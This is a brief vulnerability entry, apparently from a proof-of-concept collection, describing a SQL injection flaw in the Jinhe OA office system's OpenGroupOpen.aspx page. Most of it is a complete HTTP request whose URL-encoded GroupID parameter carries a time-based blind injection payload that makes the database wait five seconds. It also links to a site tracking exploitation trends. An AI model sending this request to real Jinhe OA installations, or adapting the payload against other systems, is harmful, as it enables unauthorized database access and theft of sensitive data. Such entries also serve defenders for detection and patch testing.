Description
攻击者可构造恶意请求获取敏感信息。
金和OA OpenGroupOpen.aspx 存在SQL注入漏洞
PoC
GET /c6/Jhsoft.Web.AddMenu/OpenGroupOpen.aspx/?GroupID=%31%27%29%77%61%69%74%66%6f%72%20%64%65%6c%61%79%20%27%30%3a%30%3a%35%27%2d%2d&op=view HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.